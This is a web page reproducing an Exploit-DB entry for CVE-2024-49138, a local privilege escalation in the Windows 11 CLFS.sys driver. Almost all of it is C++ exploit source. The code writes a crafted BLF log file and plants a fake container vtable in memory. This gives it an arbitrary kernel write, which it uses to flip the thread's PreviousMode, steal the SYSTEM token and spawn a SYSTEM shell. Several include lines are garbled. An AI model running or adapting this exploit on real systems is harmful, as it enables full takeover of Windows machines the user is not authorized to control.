Microsoft Windows 11 23h2 – CLFS.sys Elevation of Privilege

Exploit Details

Basic Information

Exploit Title Microsoft Windows 11 23h2 – CLFS.sys Elevation of Privilege
Exploit ID EDB-ID:52270
Type exploitdb
Published 2025-04-22T00:00:00
Modified 2025-04-22T00:00:00

CVSS Information

CVSS Score 7.8
Severity HIGH
Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2024-49138

Exploit Description

Exploit Title: Microsoft Windows 11 23h2 – CLFS.sys Elevation of Privilege Date: 2025-04-16 Exploit Author: Milad…

Exploit Code

# Exploit Title: Microsoft Windows 11 23h2 – CLFS.sys Elevation of Privilege

# Date: 2025-04-16

# Exploit Author: Milad Karimi (Ex3ptionaL)

# Contact: [email protected]

# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL

# MiRROR-H: https://mirror-h.org/search/hacker/49626/

# CVE: CVE-2024-49138

#include

#include

#include

#include
#include
#include

#include

#include

#include

#include

#include “resource.h”

#define CONTROL_BLOCK_SIZE 0x400

#define OFFSET_EXTENDED_STATE 0x84

#define OFFSET_IEXTENDED_BLOCK 0x88

#define OFFSET_IFLUSHB_BLOCK 0x8c

#define _CRT_SECURE_NO_WARNINGS 1

//dt nt!_KTHREAD current

//+ 0x230 UserAffinityPrimaryGroup : 0

//+ 0x232 PreviousMode : 1 ”

//+ 0x233 BasePriority : 15 ”

//+ 0x234 PriorityDecrement : 0 ”

//+ 0x234 ForegroundBoost : 0y0000

//+ 0x234 UnusualBoost : 0y0000

//+ 0x235 Preempted : 0 ”

//+ 0x236 AdjustReason : 0 ”

//+ 0x237 AdjustIncrement : 0 ”

//+ 0x238 AffinityVersion : 0x14

//+ 0x240 Affinity : 0xffffc201`419e1a58 _KAFFINITY_EX

//WINDBG > dq ffffc201419e1080 + 0x232 L1

//ffffc201`419e12b2 00140000`00000f01

//WINDBG > ? nt!PoFxProcessorNotification – nt

//Evaluate expression : 3861424 = 00000000`003aebb0

//WINDBG > ? nt!DbgkpTriageDumpRestoreState – nt

//Evaluate expression : 8324768 = 00000000`007f06a0

//WINDBG > ? nt!PsActiveProcessHead – nt

//Evaluate expression : 12812128 = 00000000`00c37f60

#define POFXPROCESSORNOTIFICATION_OFFSET 0x3aebb0

#define DBGKPTRIAGEDUMPRESTORESTATE_OFFSET 0x7f06a0

#define PSACTIVEPROCESSHEAD_OFFSET 0xc37f60

#define ACTIVEPROCESSLINKS_OFFSET 0x448

#define UNIQUEPROCESSID_OFFSET 0x440

#define TOKEN_OFFSET 0x4b8

#define TOKENPRIVILEGESPRESENT_OFFSET 0x40

#define TOKENPRIVILEGSENABLED_OFFSET 0x48

#pragma comment(lib, “Clfsw32.lib”)

LPVOID GetKernelBaseAddress() {

LPVOID drivers[1024]; // Array to hold driver addresses

DWORD cbNeeded; // Bytes returned by EnumDeviceDrivers

int driverCount;

TCHAR driverName[MAX_PATH];

// Enumerate loaded device drivers

if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

printf(“Failed to enumerate device drivers. Error: %lu\n”,

GetLastError());

return (LPVOID)0x0;

}

driverCount = cbNeeded / sizeof(drivers[0]);

if (driverCount == 0) {

printf(“No device drivers found.\n”);

return (LPVOID)0x0;

}

// The first driver is usually the Windows kernel

LPVOID kernelBaseAddress = drivers[0];

// Retrieve the name of the kernel driver

if (GetDeviceDriverBaseName(kernelBaseAddress, driverName, MAX_PATH)) {

printf(“Kernel Base Address: 0x%p\n”, kernelBaseAddress);

printf(“Kernel Name: %ls\n”, driverName);

}

else {

printf(“Failed to retrieve kernel name. Error: %lu\n”,

GetLastError());

}

return kernelBaseAddress;

}

#define SystemHandleInformation 0x10

#define SystemHandleInformationSize 1024 * 1024 * 2

using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(

ULONG SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength

);

// Definitions for NTSTATUS and system calls

using fNtReadVirtualMemory = NTSTATUS(WINAPI*)(

HANDLE ProcessHandle,

PVOID BaseAddress,

PVOID Buffer,

ULONG BufferSize,

PULONG NumberOfBytesRead);

using fNtWriteVirtualMemory = NTSTATUS(WINAPI*)(

HANDLE ProcessHandle,

PVOID BaseAddress,

PVOID Buffer,

ULONG BufferSize,

PULONG NumberOfBytesWritten);

fNtReadVirtualMemory NtReadVirtualMemory = NULL;

fNtWriteVirtualMemory NtWriteVirtualMemory = NULL;

// handle information

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO

{

USHORT UniqueProcessId;

USHORT CreatorBackTraceIndex;

UCHAR ObjectTypeIndex;

UCHAR HandleAttributes;

USHORT HandleValue;

PVOID Object;

ULONG GrantedAccess;

} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

// handle table information

typedef struct _SYSTEM_HANDLE_INFORMATION

{

ULONG NumberOfHandles;

SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];

} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

PVOID GetKAddrFromHandle(HANDLE handle) {

ULONG returnLength = 0;

fNtQuerySystemInformation NtQuerySystemInformation =

(fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L”ntdll”),

“NtQuerySystemInformation”);

PSYSTEM_HANDLE_INFORMATION handleTableInformation =

(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,

SystemHandleInformationSize);

NtQuerySystemInformation(SystemHandleInformation,

handleTableInformation, SystemHandleInformationSize, &returnLength);

ULONG numberOfHandles = handleTableInformation->NumberOfHandles;

HeapFree(GetProcessHeap(), 0, handleTableInformation);

handleTableInformation =

(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,

numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) +

sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100);

NtQuerySystemInformation(SystemHandleInformation,

handleTableInformation, numberOfHandles *

sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION)

+ 0x100, &returnLength);

for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)

{

SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo =

(SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];

if (handleInfo.HandleValue == (USHORT)handle &&

handleInfo.UniqueProcessId == GetCurrentProcessId())

{

return handleInfo.Object;

}

}

}

LPVOID g_ntbase = 0;

LPVOID address_to_write;

//Final byte = kthread.previousMode = 0

DWORD64 value_to_write = 0x0014000000000f00;

//BOOL SwapTokens() {

// DWORD64 eprocess = 0;

// ULONG bytesRead = 0;

// DWORD64 systemtoken = 0;

// DWORD64 currenttoken = 0;

// DWORD pid = 0;

// DWORD64 privileges = 0x0000001ff2ffffbc;

//

// NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase +

PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL);

// eprocess = eprocess – ACTIVEPROCESSLINKS_OFFSET;

//

// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),

&systemtoken, sizeof(systemtoken), NULL);

//

//

// while (1) {

// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +

ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL);

//

// eprocess -= ACTIVEPROCESSLINKS_OFFSET;

//

// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +

UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL);

// std::cout << "pid = " << pid << std::endl;
//

// if (pid == GetCurrentProcessId())

// break;

// }

//

// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),

&currenttoken, sizeof(currenttoken), NULL);

//

//

//

// //clears refcnt

// currenttoken = currenttoken & 0xfffffffffffffff0;

//

// printf(“performing NtWriteVirtualMemory..\n”);

//

// getchar();

//

// //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken +

TOKENPRIVILEGESPRESENT_OFFSET), &privileges, 0x8, NULL);

// //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken +

TOKENPRIVILEGSENABLED_OFFSET), &privileges, 0x8, NULL);

//

//

// NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),

&systemtoken, 0x8, NULL);

//

// return TRUE;

//}

int main()

{

HMODULE hModule;

HRSRC hResource;

errno_t err;

HGLOBAL hLoadedResource;

LPVOID pResourceData;

DWORD resourceSize;

FILE* file;

DWORD sectorsPerCluster;

DWORD bytesPerSector;

DWORD numberOfFreeClusters;

DWORD totalNumberOfClusters;

const char* rootPath = “C:\\”;

PVOID marshallingArea = NULL;

ULONGLONG pcbContainer = 0;

std::wstring logFileName = L”LOG:”;

std::wstring inputName = L”C:\\temp\\testlog\\mylogdddd.blf”;

logFileName += inputName;

DWORD64 buf = 0;

ULONG bytesRead = 0;

LPVOID PreviousModeAddr = NULL;

DWORD threadId = GetCurrentThreadId(); // Get the current thread ID

DWORD64 eprocess = 0;

DWORD64 systemtoken = 0;

DWORD64 currenttoken = 0;

DWORD64 pid = 0;

BYTE PreviousMode = 0x1;

DWORD64 privileges = 0x0000001ff2ffffbc;

const char* directoryName1 = “C:\\temp”;

const char* directoryName2 = “C:\\temp\\testlog”;

HANDLE logHndl = INVALID_HANDLE_VALUE;

ULONGLONG cbContainer = (ULONGLONG)0x80000;

//Creating directories with the baselog and container file

if (CreateDirectoryA(directoryName1, NULL)) {

printf(“Directory created successfully: %s\n”, directoryName1);

}

else {

DWORD error = GetLastError();

if (error == ERROR_ALREADY_EXISTS) {

printf(“The directory already exists: %s\n”, directoryName1);

}

else {

printf(“Failed to create the directory. Error code: %lu\n”,

error);

return 0;

}

}

if (CreateDirectoryA(directoryName2, NULL)) {

printf(“Directory created successfully: %s\n”, directoryName2);

}

else {

DWORD error = GetLastError();

if (error == ERROR_ALREADY_EXISTS) {

printf(“The directory already exists: %s\n”, directoryName2);

}

else {

printf(“Failed to create the directory. Error code: %lu\n”,

error);

return 0;

}

}

//creating BLF

logHndl = CreateLogFile(logFileName.c_str(),

GENERIC_WRITE | GENERIC_READ,

FILE_SHARE_READ | FILE_SHARE_WRITE,

NULL,

OPEN_ALWAYS,

0);

if (logHndl == INVALID_HANDLE_VALUE) {

printf(“CreateLogFile failed with error %d\n”, GetLastError());

return 0;

}

else {

printf(“file opened successfully\n”);

}

//creating and adding container to BLF

if (!AddLogContainer(logHndl, &cbContainer,

(LPWSTR)L”C:\\temp\\testlog\\container1″, NULL)) {

printf(“AddLogContainer failed with error %d\n”, GetLastError());

}

else {

printf(“AddLogContainer successful\n”);

}

//closing BLF

CloseHandle(logHndl);

// Initialize variables

hModule = GetModuleHandle(NULL);

if (!hModule) {

printf(“Failed to get module handle.\n”);

return 1;

}

// Find the resource in the executable

hResource = FindResource(hModule, MAKEINTRESOURCE(IDR_RCDATA1),

RT_RCDATA);

if (!hResource) {

printf(“Failed to find resource. Error: %lu\n”, GetLastError());

return 1;

}

printf(“hResource = 0x%p\n”, hResource);

// Load the resource into memory

hLoadedResource = LoadResource(hModule, hResource);

if (!hLoadedResource) {

printf(“Failed to load resource. Error: %lu\n”, GetLastError());

return 1;

}

printf(“hResource = 0x%p\n”, hLoadedResource);

// Lock the resource to get a pointer to its data

pResourceData = LockResource(hLoadedResource);

if (!pResourceData) {

printf(“Failed to lock resource. Error: %lu\n”, GetLastError());

return 1;

}

printf(“pResourceData = 0x%p\n”, pResourceData);

// Get the size of the resource

resourceSize = SizeofResource(hModule, hResource);

if (resourceSize == 0) {

printf(“Failed to get resource size. Error: %lu\n”, GetLastError());

return 1;

}

// At this point, pResourceData points to the binary data, and

resourceSize contains its size

printf(“Resource size: %lu bytes\n”, resourceSize);

// Example: Write the resource data to a file

err = fopen_s(&file, “C:\\temp\\testlog\\mylogdddd.blf.blf”, “wb”);

if (err == 0 && file) {

fwrite(pResourceData, 1, resourceSize, file);

fclose(file);

printf(“Resource written to output.bin successfully.\n”);

}

else {

printf(“Failed to open output file. Error code: %d\n”, err);

}

//preparing data structures in memory

g_ntbase = GetKernelBaseAddress();

NtReadVirtualMemory =

(fNtReadVirtualMemory)GetProcAddress(GetModuleHandle(L”ntdll”),

“NtReadVirtualMemory”);

NtWriteVirtualMemory =

(fNtWriteVirtualMemory)GetProcAddress(GetModuleHandle(L”ntdll”),

“NtWriteVirtualMemory”);

if (!NtReadVirtualMemory || !NtWriteVirtualMemory) {

printf(“Failed to get addresses for NtReadVirtualMemory or

NtWriteVirtualMemory\n”);

return -1;

}

printf(“NtReadVirtualMemory = 0x%p\n”, (DWORD64)NtReadVirtualMemory);

printf(“NtWriteVirtualMemory = 0x%p\n”, (DWORD64)NtWriteVirtualMemory);

// Open a real handle to the current thread

HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);

if (threadHandle == NULL) {

printf(“Failed to get real handle to the current thread. Error:

%lu\n”, GetLastError());

return 1;

}

//0x232 = offset to _KTHREAD.PreviousMode

address_to_write = (LPVOID)((DWORD64)(GetKAddrFromHandle(threadHandle))

+ 0x232);

auto pcclfscontainer = VirtualAlloc((LPVOID)0x2100000, 0x1000,

MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

memset(pcclfscontainer, 0, 0x1000);

auto vtable = (DWORD64)pcclfscontainer + 0x100;

auto rcx = pcclfscontainer;

*(PDWORD64)((PCHAR)rcx + 0x40) = (DWORD64)pcclfscontainer + 0x200;

*(PDWORD64)((PCHAR)pcclfscontainer + 0x200 + 0x68) = (DWORD64)g_ntbase

+ DBGKPTRIAGEDUMPRESTORESTATE_OFFSET;

//arg1 of DBGKPTRIAGEDUMPRESTORESTATE

*(PDWORD64)((PCHAR)rcx + 0x48) = (DWORD64)pcclfscontainer + 0x300;

auto arg_DBGKPTRIAGEDUMPRESTORESTATE = (DWORD64)pcclfscontainer + 0x300;

//address of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE. remember

It writes at offset 0x2078 of where

*((PDWORD64)(arg_DBGKPTRIAGEDUMPRESTORESTATE)) =

(DWORD64)address_to_write – 0x2078;

//value of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE

*((PDWORD64)((PCHAR)arg_DBGKPTRIAGEDUMPRESTORESTATE + 0x10)) =

0x0014000000000f00;

((PDWORD64)vtable)[1] = (DWORD64)g_ntbase +

POFXPROCESSORNOTIFICATION_OFFSET;

*(PDWORD64)pcclfscontainer = (DWORD64)vtable;

printf(“pcclfscontainer = 0x%p\n”, (DWORD64)pcclfscontainer);

printf(“address_to_write = 0x%p\n”, (DWORD64)address_to_write);

HANDLE processHandle = GetCurrentProcess(); // Get the current process

handle

// Set the process priority to HIGH_PRIORITY_CLASS

if (SetPriorityClass(processHandle, REALTIME_PRIORITY_CLASS)) {

printf(“Process priority set to REALTIME_PRIORITY_CLASS.\n”);

}

else {

DWORD error = GetLastError();

printf(“Failed to set process priority. Error code: %lu\n”, error);

return 1;

}

threadHandle = GetCurrentThread();

if (SetThreadPriority(threadHandle, THREAD_PRIORITY_TIME_CRITICAL)) {

printf(“Thread priority set to the highest level:

TIME_CRITICAL.\n”);

}

else {

DWORD error = GetLastError();

printf(“Failed to set thread priority. Error code: %lu\n”, error);

return 1;

}

printf(“triggering vuln…”);

logHndl = CreateLogFile(logFileName.c_str(),

GENERIC_WRITE | GENERIC_READ,

FILE_SHARE_READ | FILE_SHARE_WRITE,

NULL,

OPEN_ALWAYS,

0);

if (logHndl == INVALID_HANDLE_VALUE) {

printf(“CreateLogFile failed with error %d\n”, GetLastError());

}

else {

printf(“file opened successfully\n”);

}

// Set the process priority to HIGH_PRIORITY_CLASS

if (SetPriorityClass(processHandle, NORMAL_PRIORITY_CLASS)) {

printf(“Process priority set to NORMAL_PRIORITY_CLASS.\n”);

}

else {

DWORD error = GetLastError();

printf(“Failed to set process priority. Error code: %lu\n”, error);

return 1;

}

if (SetThreadPriority(threadHandle, THREAD_PRIORITY_NORMAL)) {

printf(“Thread priority set to the highest level:

THREAD_PRIORITY_NORMAL.\n”);

}

else {

DWORD error = GetLastError();

printf(“Failed to set thread priority. Error code: %lu\n”, error);

return 1;

}

printf(“vuln triggered\n”);

printf(“reading base of ntoskrnl to check we have arbitrary

read/write\n”);

NtReadVirtualMemory((HANDLE)-1, g_ntbase, &buf, sizeof(buf), NULL);

printf(“buf = 0x%p\n”, (DWORD64)buf);

printf(“swapping tokens…\n”);

NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase +

PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL);

eprocess = eprocess – ACTIVEPROCESSLINKS_OFFSET;

NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),

&systemtoken, sizeof(systemtoken), NULL);

while (1) {

NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +

ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL);

eprocess -= ACTIVEPROCESSLINKS_OFFSET;

NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +

UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL);

if (pid == (DWORD64)GetCurrentProcessId())

break;

}

printf(“current token address = 0x%p\n”, eprocess + TOKEN_OFFSET);

printf(“systemtoken = 0x%p\n”, systemtoken);

printf(“Overwriting process token..\n”);

NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),

&systemtoken, sizeof(systemtoken), NULL);

printf(“token swapped. Restoring PreviousMode and spawning system

shell…\n”);

PreviousModeAddr = address_to_write;

PreviousMode = 0x1;

NtWriteVirtualMemory((HANDLE)-1, PreviousModeAddr, &PreviousMode,

sizeof(PreviousMode), NULL);

system(“cmd.exe”);

return 0;

}

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.